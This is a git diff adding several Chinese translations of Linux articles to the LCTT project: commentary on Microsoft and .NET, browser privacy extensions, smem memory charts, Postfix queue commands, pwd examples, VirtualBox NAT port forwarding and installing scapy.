+“我很喜欢微软在考虑开源,但是我没有见到它向GPL迈进,”斯通告诉Linux女孩,“这让我想到了这么个可能性,微软提供了多个平台的软件供你使用,但却会把开发者和它捆绑起来。” + +此外,微软不会作出任何保证,保证.Net常年开源,他指出。 + +“这意味着微软可以退出,并让开发出来的应用程序成为跨平台的Windows专有软件,”他警告道,“我不会相信微软的承诺,我会翘首期盼微软他们的突然而必然的背叛。” + +### ‘留心不怀好意的礼物’ ### + +该运动明显带有失望的气息,Google+博主阿里桑德罗·埃伯索尔暗示道。 + +“他们来得太晚了,”埃伯索尔说,“Java已经先下手为强了,当.Net还是Windows/Microsoft专有产品时,Java已经遍布四处了。试着让人采用,希望好运吧。” + +此外,“如果它打上GPL烙印来保护代码创建者的话我才会相信它,”他补充道,“一个脆弱的MIT许可证任何时候都是逆天而行的。” + +无论如何,“在该公司产生的对FLOSS社区的全部的敌意下,他们会过河拆桥,”埃伯索尔总结道,“底线是:送礼的希腊人也很可畏——仔细留心希腊人不怀好意的礼物……” + +### ‘就像猫爱上老鼠’ ### + +微软爱上Linux“就像猫爱上老鼠,”博主[罗伯特·伯格森][6]打趣道,“当然,他们会玩玩*/Linux,但是他们不是我们的朋友。” + +所发生的事情是,FOSS和LInux社区已经击溃了“MS自从和IBM达成提供OS的交易后放置在竞争道路入口上的所有障碍,”伯格森说,“MS肯定是在绝望地试着和‘敌人’‘做朋友’,因为它们的位置被侵占了。” + +“一切都会好的,”他补充道,“MS仍然可以通过愚蠢地花大量的金钱来制造麻烦,或者他们可以进行常规商业运作并在价格/性能上开展竞争。那不是‘爱’——那是接受现实。” + +### 适应或者灭亡 ### + +对于微软而言,问题在于“开源开发包对于开发者而言开始变得足够好用了,”参团顾问和[Slashdot][7]博主格哈德·麦克。 + +“在我的最后一份职业中,大多数的程序员想要Eclipse,而不是Visual Studio,即使客户端软件是Windows专用的。用Windows做测试的开发者们迁移到Linux的数量在缓慢增长。”麦克回忆道。 + +“很要有人想被固定在一个平台中,因此单一平台的语言的份额会越来越少,”他补充道,“微软现在必须在适应与灭亡中作出选择。” + +### 这里没有温暖的毛球 ### + +驱动此项运动的策略也在于“各种云大量地在Linux上部署,即便在微软自己的Azure云,Linux也被大量部署,”Google+博主凯文·奥布莱恩暗示道。 + +“纳德拉清楚地指出,他正将微软向云方向推进,因为他几乎不得不如此,以期继续将游戏玩下去。”奥布莱恩坚信。 + +那就是说,不管怎样,“我都不期待微软变得可爱又善意——他们将做所有他们认为能获得最佳公司利益的事情。”他说。 + +事实上,“根本没Linux什么事——它只和SaaS相关,也和一位并不偏执和狂热的90后CEO相关,”SoylentNews博主hairyfeet告诉Linux女孩。 + +“纳德拉很明智,而且意识到了编程语言的价值不在于专利或OS排他性,而在于服务和对语言的支持,”hairyfeet解释道,“考虑到这一点,越多的平台使用该语言,它就会越好,因为那会增加该语言的价值,并且为你的服务带来更多客户。” + +### 帝国的没落 ### + +总得来说,一切都很明了,那就是“微软帝国正在摇摇欲坠,”Google+博主贡萨洛·维拉斯科 C说。 + +“我不知道,或者不关心他们为什么会说谎,说他们热爱Linux,”他补充道,“我只希望GNU/Linux社区变得比现今更聪明些(咳,Systemd,咳咳),拒绝微软.Net和其它产生影响的东西。GNU/Linux必须只用FLOSS工具。” + +-------------------------------------------------------------------------------- + +via: http://www.linuxinsider.com/story/When-Microsoft-Went-A-Courting-81374.html + +作者:[Katherine Noyes][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://twitter.com/noyesk +[1]:http://www.linuxinsider.com/perl/story/35697.html +[2]:http://www.theregister.co.uk/2014/10/20/microsoft_cloud_event/ +[3]:http://ledgersmbdev.blogspot.com/ +[4]:http://www.ledgersmb.org/ +[5]:http://linuxrants.com/ +[6]:http://mrpogson.com/ +[7]:http://slashdot.org/ diff --git a/published/201412/20141120 5 Best Open Source Web Browser Security Apps.md b/published/201412/20141120 5 Best Open Source Web Browser Security Apps.md new file mode 100644 index 0000000000..3e080013aa --- /dev/null +++ b/published/201412/20141120 5 Best Open Source Web Browser Security Apps.md @@ -0,0 +1,88 @@ +5个最佳开源的浏览器安全应用 +================================================================================ +浏览器是现在各种在线服务的入口。电脑安全问题迄今仍未得到解决,技术进步为恶意软件提供了新的途径,感染我们的设备、入侵商业网络。例如,智能手机与平板为恶意软件--及其同伙“[恶意广告][1]”--带来一片全新天地,它们在其中腾挪作乱。 + +恶意广告在合法广告与合法网络中注入恶意软件。当然你可能会认为“合法”广告与网络与非法广告与网络之间仅有一线之隔。但是请不要偏题哦。隐私与安全天生就是一对兄弟,保护隐私也就是保护你的安全。 + +Firefox, Chrome, 以及 Opera 当仁不让属最棒的浏览器:性能最佳、兼容性最好、以及安全性最优。以下五个开源安全应用安装于浏览器后会助你抵御种种威胁。 + +### 保护隐私: 开源浏览器安全应用 ### + +#### 1. [AdBlock][2] #### + +广告网络为恶意软件提供了肥沃的土壤。一个广告网络可以覆盖数千站点,因此攻陷一个广告网络就相当于攻陷数千台机器。AdBlock及其衍生品—[AdBlock Plus][2], [AdBlock Pro][3], 与 [AdBlock Edge][4]--都是屏蔽广告的优秀工具,可以让那些充斥烦人广告的网站重新还你一片清静。 + +当然,凡事都有两面性:上述做法损害了依靠广告收入的站点的利益。这些工具一键式白名单功能,对于那些你希望支持的网站,你可以通过白名单功能关闭这些网站的广告屏蔽。(真的,我亲爱的站长们,如果你不希望网站访问者屏蔽你的广告,那么就适可而止,不要让人反感。当然,作为粉丝,也请您支持您喜爱的站点,将它们放到白名单吧。) + +![](http://www.smallbusinesscomputing.com/imagesvr_ce/5731/fig-1-easylist_1.jpg) + +*图1:在Ad Blocker中添加其它过滤规则。* + +Ad Blocker们不仅能屏蔽广告;它们还能屏蔽网站跟踪爬虫与恶意域名。要打开额外过滤规则,点击ad blocker图标 > 点击**首选项**,转至**过滤规则订阅**标签。点击按纽**添加订阅过滤规则**,然后加入**Easy Privacy + EasyList**规则。加入恶意域名过滤也是个不错的选择;它会屏蔽那些供恶意软件与间谍软件寄生的域名。Adblock可在Firefox, Chrome, Opera, Safari, IE, 以及Android平台下工作。 + +#### 2. [HTTPS Everywhere][5] #### + +浏览器扩展HTTPS Everywhere可确保在网站HTTPS可用的时候,总是以HTTPS方式连接到站点。HTTPS意味着你的连接是以SSL(安全套接层)方式加密的,SSL协议通常用于加密网站与电子邮件连接。HTTPS Everywhere可在Firefox, Chrome, 及Opera下使用。 + +安装了HTTPS Everywhere之后,它会询问你是否希望启用SSL检测程序。点击“是”,因为SSL检测程序会提供额外保护,防止中间人攻击与虚假SSL证书攻击。HTTPS Everywhere可在Firefox, Chrome, Opera, Safari, IE, 以及Android平台下工作。 + +#### 3. [Social Fixer][6] #### + +Social Fixer驯服Facebook。它给了你一把尚方宝剑,你可以用它过滤“动态汇总”,从而只看到你想看的动态、生成按主题分类的标签动态、隐藏不想查看的动态、鼠标悬停图片时显示完整尺寸的图片、禁止影院方式浏览图像,还有其它更多功能。 + +Social Fixer本身不是安全工具,但它具有两个重要的安全特性: + +- 它可以将Facebook网页截图中你的个人资料头像以通用图标代替,并以虚假名字替代你的用户名,从而起到匿名作用。 +- 它可以很可靠地屏蔽Facebook游戏,而Facebook游戏正是尽人皆知的麻烦制造者。 + +![](http://www.smallbusinesscomputing.com/imagesvr_ce/2858/fig-2-socialfixer_1.jpg) + +*图2: 使用Social Fixer匿名化Facebook网面。* + +(LCTT 译注:好吧,这个应用和我等无关~~) + +#### 4. [Privacy Badger][7] #### + +电子前线基金会出品的Privacy Badger是一款优秀的反跟踪与反间谍广告的拦截工具。现在的网页内容来源可谓五花八门:广告服务器、评论服务器、图片工场、第三方登陆服务器,以及其它种种不一而足。 + +AdBlock也能拦截这些乌七八糟的东西,不过Privacy Badger在此方面更胜一筹。Privacy Badger依靠算法与策略方法而非过滤规则,这样如果拦截出错的话,可以轻易重写,而过滤规则需要专人维护。Privacy Badger在Firefox与Chrome下均可工作。 + +![](http://www.smallbusinesscomputing.com/imagesvr_ce/9256/fig-3-privacybadger_1.jpg) + +*图3: Privacy Badger拦截跟踪站点。* + +Privacy Badger装好后就能使用了。点击图标,看看它对你浏览的网页都拦截了哪些东西。你可以试试访问Huffingtonpost.com,这是一家不在每一个页面塞满第三方组件誓不罢休的网站(图3)。 + +滑块显示每个站点的状态:红色表示该站点被彻底拦截,不能设置cookies(缓冲数据),或者向你提供任何内容。黄色意味着第三方域名正试图跟踪,但是它列于Privacy Badger的允许域名的白名单之中。绿色表示第三方目前还未归入跟踪者之列,但是在你访问**若干**网站之后,Privacy Badger会观察其行为,并决定是否将其归为跟踪者。 + +你也可以根据你的偏好来设置滑块;例如,在我访问的某个网站,我用Privacy Badger拦截了bazaarvoice.com,一些购物网站使用这家站点来托管他们的客户评论。 + +#### 5. [Disconnect][8] #### + +Disconnect是另外一款反跟踪反cookie工具,拥有众多功能。它可在Firefox, Chrome, IE, Safari下工作,并且为iOS与Android平台打造了特殊的版本。Disconnect不但能反跟踪,而且它使用自己的虚拟专用网络(VPN),防止窃听与恶意广告,使你的无线传输(Wi-fi, 3G, 4G)更安全。它可以防止部件劫持,而部件劫持是攻击者用于在需要登陆的网站获得访问权限的技术。通过部件劫持,攻击者无需密码,而只要使用窃取的cookies,就能获得网站访问权限。 + +Disconnect还有安全搜索功能,可以阻止搜索引擎爱挖数据的癖好,你可以安心无虞地使用你中意的搜索引擎。 + +想象一下,网页上所有东西都腾空而出,奔你而去。当然这一切都是抽象的且在幕后悄然发生,不象有人正在猛击窗户试图进入你家那么明显罢了。但是,威胁倒是实实在在的,而且数不胜数,所以你必须采取预防措施,来保护自己。 + +本文作者 Carla Schroder 著有The Book of Audacity, Linux Cookbook, Linux Networking Cookbook等书,并撰写了上百篇Linux指南文章。她曾担任Linux Planet与Linux Today网站总编。 + +-------------------------------------------------------------------------------- + +via: http://www.smallbusinesscomputing.com/biztools/5-best-open-source-web-browser-security-apps.html + +作者:[Carla Schroder][a] +译者:[yupmoon](https://github.com/yupmoon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.smallbusinesscomputing.com/author/Carla-Schroder-6080.html +[1]:http://www.webopedia.com/TERM/M/malvertising.html +[2]:https://getadblock.com/ +[3]:https://chrome.google.com/webstore/detail/adblock-pro/ocifcklkibdehekfnmflempfgjhbedch?hl=en-US +[4]:https://addons.mozilla.org/en-us/firefox/addon/adblock-edge/ +[5]:https://www.eff.org/Https-everywhere +[6]:http://socialfixer.com/ +[7]:https://www.eff.org/privacybadger +[8]:https://disconnect.me/ diff --git a/published/201412/20141120 How to visualize memory usage on Linux.md b/published/201412/20141120 How to visualize memory usage on Linux.md new file mode 100644 index 0000000000..7fc943aa35 --- /dev/null +++ b/published/201412/20141120 How to visualize memory usage on Linux.md @@ -0,0 +1,89 @@ +使用 smem 可视化显示Linux内存使用情况 +================================================================================ +物理内存不足对Linux桌面系统和服务器系统的性能影响都很大。当你的计算机变慢时,要做的第一件事就是释放内存。尤其是在多用户环境以及执行关键任务的服务器环境下,内存消耗会变得更加关键,因为多个用户和应用线程会同时竞争更多的内存空间。 + +如果要监测系统内各种资源的使用情况(比如说CPU或内存),图形化显示是一种高效的方法,通过图形界面可以快速分析各用户和进程的资源消耗情况。本教程将给大家介绍**在linux下图形化分析内存使用情况**的方法,使用到命令行工具是[smem][1]. + +### 物理内存使用情况: RSS 、 PSS 和 USS ### + +由于Linux使用到了虚拟内存(virtual memory),因此要准确的计算一个进程实际使用的物理内存就不是那么简单。 只知道进程的虚拟内存大小也并没有太大的用处,因为还是无法获取到实际分配的物理内存大小。 + +- **RSS(Resident set size)**,使用top命令可以查询到,是最常用的内存指标,表示进程占用的物理内存大小。但是,将各进程的RSS值相加,通常会超出整个系统的内存消耗,这是因为RSS中包含了各进程间共享的内存。 +- **PSS(Proportional set size)**会更准确一些,它将共享内存的大小进行平均后,再分摊到各进程上去。 +- **USS(Unique set size )**是PSS中自己的部分,它只计算了进程独自占用的内存大小,不包含任何共享的部分。 + +### 安装Smem ### + +smem是一个能够生成多种内存耗用报告的命令行工具,它从/proc文件系统中提取各进程的PSS/USS信息,并进行汇总输出。它还内建了图表的生成能力,所以能够方便地分析整个系统的内存使用情况。 + +#### 在Debian, Ubuntu 或 Linux Mint 上安装smem #### + + $ sudo apt-get install smem + +#### 在Fedora 或 CentOS/RHEL上安装Smem #### + +在CentOS/RHEL上,你首先得[启用][2]EPEL仓库。 + + $ sudo yum install smem python-matplotlib + +### 使用smem检查内存使用情况 ### + +你可以在非特权模式下使用smem,它能够显示当前用户运行的所有进程的内存使用情况,并按照PSS的大小进行排序。 + + $ smem + +![](https://farm8.staticflickr.com/7498/15801819892_d017280595_z.jpg) + +如有你想得到整个系统中所有用户的内存使用情况,就需要使用root权限来运行smem。 + + $ sudo smem + +![](https://farm9.staticflickr.com/8635/15776587626_1de74c4bcd_z.jpg) + +也可以按用户维度来输出报告: + + $ sudo smem -u + +![](https://farm9.staticflickr.com/8543/15798375491_510698d98f_z.jpg) + +smem提供了以下选项来对输出结果进行筛选,支持按映射方式(mapping)、进程和用户三个维度的筛选: + +- -M <正则表达式> +- -P <正则表达式> +- -U <正则表达式> + +想了解smem更多的使用方式,可以查询用户手册(man page)。 + +### 使用smem图形化显示内存使用情况 ### + +图形化的报告使用起来会更加方便快捷。smem支持两种格式的图形显示方式:直方图和饼图。 + +下面是一些图形化显示的实例。 + +下面的命令行会基于PSS/RSS值,生成直方图,以用户alice为例。 + + $ sudo smem --bar name -c "pss uss" -U alice + +![](https://farm6.staticflickr.com/5616/15614838448_640e850cd8_z.jpg) + +这个例子会生成一张饼图,图中显示了系统中各进程的PSS内存使用量: + + $ sudo smem --pie name -c "pss" + +![](https://farm8.staticflickr.com/7466/15614838428_eed7426cfe_z.jpg) + +概括来说,smem是一个方便易用的内存分析工具。利用smem的格式化输出,你可以对内存使用报告进行自动化分析,并执行一些自动化的处理措施。如果你还知道其他的一些优秀的内存检测工具,请在留言区告诉我。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/visualize-memory-usage-linux.html + +作者:[Dan Nanni][a] +译者:[coloka](https://github.com/coloka) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://www.selenic.com/smem/ +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html \ No newline at end of file diff --git a/published/201412/20141120 Postfix tips and Troubleshooting Commands.md b/published/201412/20141120 Postfix tips and Troubleshooting Commands.md new file mode 100644 index 0000000000..bba3a486c6 --- /dev/null +++ b/published/201412/20141120 Postfix tips and Troubleshooting Commands.md @@ -0,0 +1,55 @@ +Postfix 技巧和故障排除命令 +================================================================================ +这里是一些我每天用的命令,当然,其他的email管理员也会使用,因此我写下来,以防我忘记。 + +列出/打印当前邮件队列 + + # postqueue –p + + # mailq + +如果队列太长,可以使用tail管道读取。 + + # mailq | tail + +清理队列 + + # postqueue -f + +立即投递某domain.com域名的所有邮件 + + # postqueue -s domain.com + +删除所有队列 + + # postsuper -d ALL + +删除指定的消息 + + # postsuper -d messageid + +重新排队邮件或者重新发送指定邮件 + + #postfix -r msgid + +查找邮件版本 + + #postconf -d mail_version + mail_version = 2.6.6 + +你也可以查看下面的连接,这个连接有很多例子和不错的可用的解释文档,可以用来配置postfix. + +[Postfix Configuration][1] + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/postfix-configuration-and-explanation-of-parameters/ + +作者:[Leo G][a] +译者:[Vic020](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:http://www.apricot.net/apricot2004/doc/cd_content/24th%20February%202004/04%20-%20TTF%20Anti%20Spam%20&%20Anti%20Net%20Abuse%20-%20Suresh%20Ramasubramaniam/Devdas%20Bhagat.pdf diff --git a/published/201412/20141124 15 pwd (Print Working Directory) Command Examples in Linux.md b/published/201412/20141124 15 pwd (Print Working Directory) Command Examples in Linux.md new file mode 100644 index 0000000000..386d8faa5e --- /dev/null +++ b/published/201412/20141124 15 pwd (Print Working Directory) Command Examples in Linux.md @@ -0,0 +1,265 @@ +菜鸟教程:全面学习 pwd 命令 +================================================================================ +对于那些使用Linux命令行的人来说,‘**pwd**‘命令是非常有用的,它告诉你你现在在那个目录,从根目录(**/**)如何到达。特别是对于或许会在目录的切换间容易糊涂的Linux新手而言,‘**pwd**‘ 可以拯救他们。 + +![15 pwd Command Examples](http://www.tecmint.com/wp-content/uploads/2014/11/pwd-command.png) + +*15个 pwd 命令示例* + +### 什么是pwd? ### + +‘**pwd**‘ 代表的是‘**Print Working Directory**’(打印当前目录)。如它的名字那样,‘**pwd**’会打印出当前工作目录,或简单的来说就是当前用户所位于的目录。它会打印出以根目录 (**/**)为起点的完整目录名(绝对目录)。这条命令是一条shell内建命令,并且在大多数shell中都可以使用,如bash、Bourne shell,ksh、zsh等等。 + +#### pwd的基本语法: #### + + # pwd [OPTION] + +#### pwd的选项 #### + + + + + + + + + + + + + + + + + + + + + + + + + + +
 选项 描述
 -L (即逻辑路径logical ) 使用环境中的路径,即使包含了符号链接
 -P (即物理路径physical) 避免所有的符号链接
 –help  显示帮助并退出
 –version 输出版本信息并退出
+ +如果同时使用了‘**-L**‘和‘**-P**‘,‘**-L**‘会有更高的优先级。如果没有指定参数,pwd会避开所有的软链接,也就是说会使用‘**-P**‘参数。 + +pwd的退出状态: + + + + + + + + + + + + + + +
0成功
非零值失败
+ +本篇的目的是采用例子让你对‘**pwd**‘有更深入的领悟。 + +**1.** 打印当前工作目录. + + avi@tecmint:~$ /bin/pwd + + /home/avi + +![Print Working Directory](http://www.tecmint.com/wp-content/uploads/2014/11/pwd.gif) + +*打印工作目录* + +**2.** 为文件夹创建一个符号链接(比如说在home目录下创建一个**htm**链接指向**/var/www/html**)。进入新创建的目录并打印出含有以及不含符号链接的目录。 + +在home目录下创建一个htm链接指向/var/www/html,并进入。 + + avi@tecmint:~$ ln -s /var/www/html/ htm + avi@tecmint:~$ cd htm + +![Create Symbolic Link](http://www.tecmint.com/wp-content/uploads/2014/11/Create-Symbolic-Link.gif) + +*创建符号链接* + +**3.** 从当前环境中打印目录即使它含有符号链接。 + + avi@tecmint:~$ /bin/pwd -L + + /home/avi/htm + +![Print Current Working Directory](http://www.tecmint.com/wp-content/uploads/2014/11/Print-Working-Directory.gif) + +*打印工作目录* + +**4.** 解析符号链接并打印出物理目录。 + + avi@tecmint:~$ /bin/pwd -P + + /var/www/html + +![Print Physical Working Directory](http://www.tecmint.com/wp-content/uploads/2014/11/Print-Physical-Working-Directory.gif) + +*打印物理工作目录* + +**5.** 查看一下“**pwd**”和“**pwd -P**”的输出是否一致,也就是说,如果没有跟上选项,“**pwd**”时候会自动采用**-P**选项。 + + avi@tecmint:~$ /bin/pwd + + /var/www/html + +![Check pwd Output](http://www.tecmint.com/wp-content/uploads/2014/11/Check-pwd-Output.gif) + +*检查pwd输出* + +**结论:** 上面例子4和5的输出很明显(结果相同),当你“**pwd**”后面不带参数时,pwd会使用“**-P**”选项。 + +**6.** 打印pwd命令的版本。 + + avi@tecmint:~$ /bin/pwd --version + + pwd (GNU coreutils) 8.23 + Copyright (C) 2014 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later . + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + + Written by Jim Meyering. + +![Check pwd Version](http://www.tecmint.com/wp-content/uploads/2014/11/Check-pwd-Version.gif) + +*检查pwd命令版本* + +**注意:** ‘pwd’ 通常不带选项运行,且没有任何参数 + +**重要:** 你可能注意到我们刚才运行的都是 “**/bin/pwd**” 而不是 “**pwd**”。 + +这有什么区别呢?直接使用“**pwd**”意味着使用shell内置的pwd。你的shell可能有不同版本的pwd。具体请参考手册。当你使用的是**/bin/pwd**时,我们调用的是二进制版本的命令。虽然二进制的版本有更多的选项,但是它们两者都能打印当前的目录。 + +**7.** 打印所有含有可执行pwd的路径 + + avi@tecmint:~$ type -a pwd + + pwd is a shell builtin + pwd is /bin/pwd + +![Print Executable Locations](http://www.tecmint.com/wp-content/uploads/2014/11/Print-Executable-Locations.gif) + +*打印可执行文件路径* + +**8.** 存储“**pwd**”命令的值到变量中(比如说:**a** ),并从中打印变量的值(对于观察shell脚本很重要)。 + + avi@tecmint:~$ a=$(pwd) + avi@tecmint:~$ echo "Current working directory is : $a" + + Current working directory is : /home/avi + +![Store Pwd Value in Variable](http://www.tecmint.com/wp-content/uploads/2014/11/Store-Pwd-Value-in-Variable.gif) + +*存储pwd的值到变量中* + +下面的例子中也可以用**printf**来替代。 + +**9.** 将工作路径切换到其他地方(比如说 **/home**),并在命令行中显示。通过执行命令(比如说 ‘**ls**‘)来验证一切**OK**。 + + avi@tecmint:~$ cd /home + avi@tecmint:~$ PS1='$pwd> ' [注意例子中的单引号] + > ls + +![Change Current Working Directory](http://www.tecmint.com/wp-content/uploads/2014/11/Change-Current-Working-Directory.gif) + +*改变当前工作路径* + +**10.** 设置多行显示 (就像下面这样), + + /home + 123#Hello#! + +接着执行命令(比如说 **ls**)来检验一切**OK**。 + + avi@tecmint:~$ PS1=' + > $PWD + $ 123#Hello#! + $ ' + + /home + 123#Hello#! + +![Set Multi Commandline Prompt](http://www.tecmint.com/wp-content/uploads/2014/11/Set-Multi-Commandline-Prompt.gif) + +*设置多行显示* + +**11.** 一下子检查当前工作路径以及先前的工作路径。 + + avi@tecmint:~$ echo “$PWD $OLDPWD” + + /home /home/avi + +![Check Present Previous Working Directory](http://www.tecmint.com/wp-content/uploads/2014/11/Check-Present-Previous-Working-Directory.gif) + +*检查当前工作路径* + +**12.** pwd文件的绝对路径(以**/**开始)。 + + /bin/pwd + +**13.** pwd源文件文件的绝对路径(以**/**开始)。 + + /usr/include/pwd.h + +**13.** pwd手册的绝对路径(以**/**开始)。 + + /usr/share/man/man1/pwd.1.gz + +**15.** 写一个shell脚本分析home目录下的一个目录(比如**tecmint**)。如果当前目录是**tecmint**就输出“**Well! You are in tecmint directory**”接着输出“**Good Bye**”,不然就在**tecmint**下面创建一个目录并提示你cd进入它。 + +让我们首先创建一个‘tecmint’目录,在下面创建一个名为‘pwd.sh’的脚本文件。 + + avi@tecmint:~$ mkdir tecmint + avi@tecmint:~$ cd tecmint + avi@tecmint:~$ nano pwd.sh + +接下来在pwd.sh中加入下面的脚本。 + + #!/bin/bash + + x="$(pwd)" + if [ "$x" == "/home/$USER/tecmint" ] + then + { + echo "Well you are in tecmint directory" + echo "Good Bye" + } + else + { + mkdir /home/$USER/tecmint + echo "Created Directory tecmint you may now cd to it" + } + fi + +给予执行权限并运行。 + + avi@tecmint:~$ chmod 755 pwd.sh + avi@tecmint:~$ ./pwd.sh + + Well you are in tecmint directory + Good Bye + +#### 总结 #### + +**pwd**是一个最简单且会广泛用到的命令。掌握好pwd是使用Linux终端的基础。就是这些了。我很快会再带来另外有趣的文章,请不要走开继续关注我们。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/pwd-command-examples/ + +作者:[Avishek Kumar][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ \ No newline at end of file diff --git a/published/201412/20141125 Linux FAQs with Answers--How to access a NAT guest from host with VirtualBox.md b/published/201412/20141125 Linux FAQs with Answers--How to access a NAT guest from host with VirtualBox.md new file mode 100644 index 0000000000..4b817c6536 --- /dev/null +++ b/published/201412/20141125 Linux FAQs with Answers--How to access a NAT guest from host with VirtualBox.md @@ -0,0 +1,67 @@ +Linux 有问必答:如何从VirtualBox中从主机访问NAT客户机 +================================================================================ +> **提问**: 我有一台运行在VirtualBox上的使用NAT的虚拟机,因此虚拟机会被VirtualBox分配一个私有IP地址(10.x.x.x)。如果我想要从主机SSH到虚拟机中,我该怎么做? + +VirtualBox对虚拟机支持几种不同的网络方式,其中一种是NAT网络。当虚拟机启用NAT后,VirtualBox会自动在虚拟机和主机之间进行网络翻译,因此你不必在虚拟机和主机之间配置任何东西。这也意味着NAT中的虚拟机对于外部网络以及主机本身是不可见的。这会在你想要从主机访问虚拟机时会产生问题(比如SSH)。 + +如果你想从VirtualBox的NAT环境的虚拟机,你可以在GUI或者命令行下启用VirtualBox NAT的端口转发。本篇教程将会演示**如何通过启用22端口转发而从主机SSH连接到NAT环境的客户机**。如果你先想要从HTTP访问NAT的客户机,用80端口代替22端口即可。 + +### 通过GUI配置VirtualBox端口转发 ### + +在VirtualBox中选择你想要访问的虚拟机,打开虚拟机的“设置”。点击左侧的“网络”菜单,点击网络适配选项的“高级”。 + +![](https://farm8.staticflickr.com/7583/15797904856_2753dc785e_z.jpg) + +点击“端口转发”按钮 + +![](https://farm8.staticflickr.com/7527/15636152708_cf2be7c7e8_z.jpg) + +你会看到一个配置端口转发规则的窗口。点击右上角的“添加”图标。 + +![](https://farm8.staticflickr.com/7489/15636391217_48a9954480_z.jpg) + +就会看到像下面那样的转发规则。 + +- **Name**: SSH (可以是任意唯一名) +- **Protocol**: TCP +- **Host IP**: 127.0.0.1 +- **Host Port**: 2222 (任何大于1024未使用的端口) +- **Guest IP**: 虚拟机IP +- **Guest Port**: 22 (SSH 端口) + +![](https://farm6.staticflickr.com/5603/15202135853_02a07c3212_o.png) + +端口转发的规则会自动在你启动虚拟机的时候启用。为了验证。可以在你启用虚拟机后检查端口2222是否被VirtualBox开启了。 + + $ sudo netstat -nap | grep 2222 + +![](https://farm8.staticflickr.com/7461/15819682411_6bb9707f8a_z.jpg) + +现在端口转发可以使用了,你可以用下面的命令SSH到虚拟机。 + + $ ssh -p 2222 @127.0.0.1 + +发送到127.0.0.1:2222的登录请求会自动被VirtualBox翻译成10.0.2.15:22,这可以让你SSH到虚拟机中。 + +### 通过命令行配置VirtualBox端口转发 ### + +VirtualBox有一个称为VBoxManage的命令行管理工具。使用命令行工具,你也可以为你的虚拟机设置端口转发。 + +下面的命令会为IP地址为10.0.2.15的虚拟机设置一个名字为"centos7"的端口转发规则,SSH的端口号为22,映射到本地主机的端口为2222。规则的名字(本例中是SSH)必须是唯一的。 + + $ VBoxManage modifyvm "centos7" --natpf1 "SSH,tcp,127.0.0.1,2222,10.0.2.15,22" + +规则创建之后,你可以用下面的命令来验证。 + + $ VBoxManage showvminfo "centos7" | grep NIC + +![](https://farm8.staticflickr.com/7559/15636458427_7a0959900c_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/access-nat-guest-from-host-virtualbox.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201412/20141125 Linux FAQs with Answers--How to fix ImportError--No module named scapy.all.md b/published/201412/20141125 Linux FAQs with Answers--How to fix ImportError--No module named scapy.all.md new file mode 100644 index 0000000000..3f09b62947 --- /dev/null +++ b/published/201412/20141125 Linux FAQs with Answers--How to fix ImportError--No module named scapy.all.md @@ -0,0 +1,40 @@ +Linux有问必答:如何修复“ImportError: No module named scapy.all” +================================================================================ +> **问题**:当我运行一个Python应用程序时,出现了这个提示消息“ImportError: No module named scapy.all”。我怎样才能修复这个导入错误呢? + +[Scapy][1]是一个用Python写的灵活的数据包生成及嗅探程序。使用Scapy,你可以完成创建任意数据包并发送到网络上、从网络上或转储文件中读取数据包、转换数据包等工作。使用Scapy的通用包处理能力,你可以很容易地完成像SYN扫描、TCP路由跟踪以及OS指纹检测之类的工作。你也可以通过导入,将Scapy整合到其它工具中。 + +该导入错误表明:你还没有在你的Linux系统上安装Scapy。下面介绍安装方法。 + +### 安装Scapy到Debian, Ubuntu或Linux Mint ### + + $ sudo apt-get install python-scapy + +### 安装Scapy到Fedora或CentOS/RHEL ### + +在CentOS/RHEL上,你首先需要[启用EPEL仓库][2]。 + + $ sudo yum install scapy + +### 源码安装Scapy ### + +如果你的Linux版本没有提供Scapy包,或者你想要试试最新的Scapy,你可以手工使用源码包安装。 + +下载[最新版的Scapy][3],然后按照以下步骤安装。 + + $ unzip scapy-latest.zip + $ cd scapy-2.* + $ sudo python setup.py install + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/importerror-no-module-named-scapy-all.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.secdev.org/projects/scapy/ +[2]:http://xmodulo.com/how-to-set-up-epel-repository-on-centos.html +[3]:http://scapy.net/ diff --git a/published/201412/20141127 Some Sentences about Java.md b/published/201412/20141127 Some Sentences about Java.md new file mode 100644 index 0000000000..4ba61fc7b2 --- /dev/null +++ b/published/201412/20141127 Some Sentences about Java.md @@ -0,0 +1,163 @@ +一些关于Java的句子 +================================================================================ +本文并没有什么新鲜的。我只是收集了一些不太重要的语句,但这些语句可能对初级程序员来说很重要。也就是些无聊的旧东西。 + 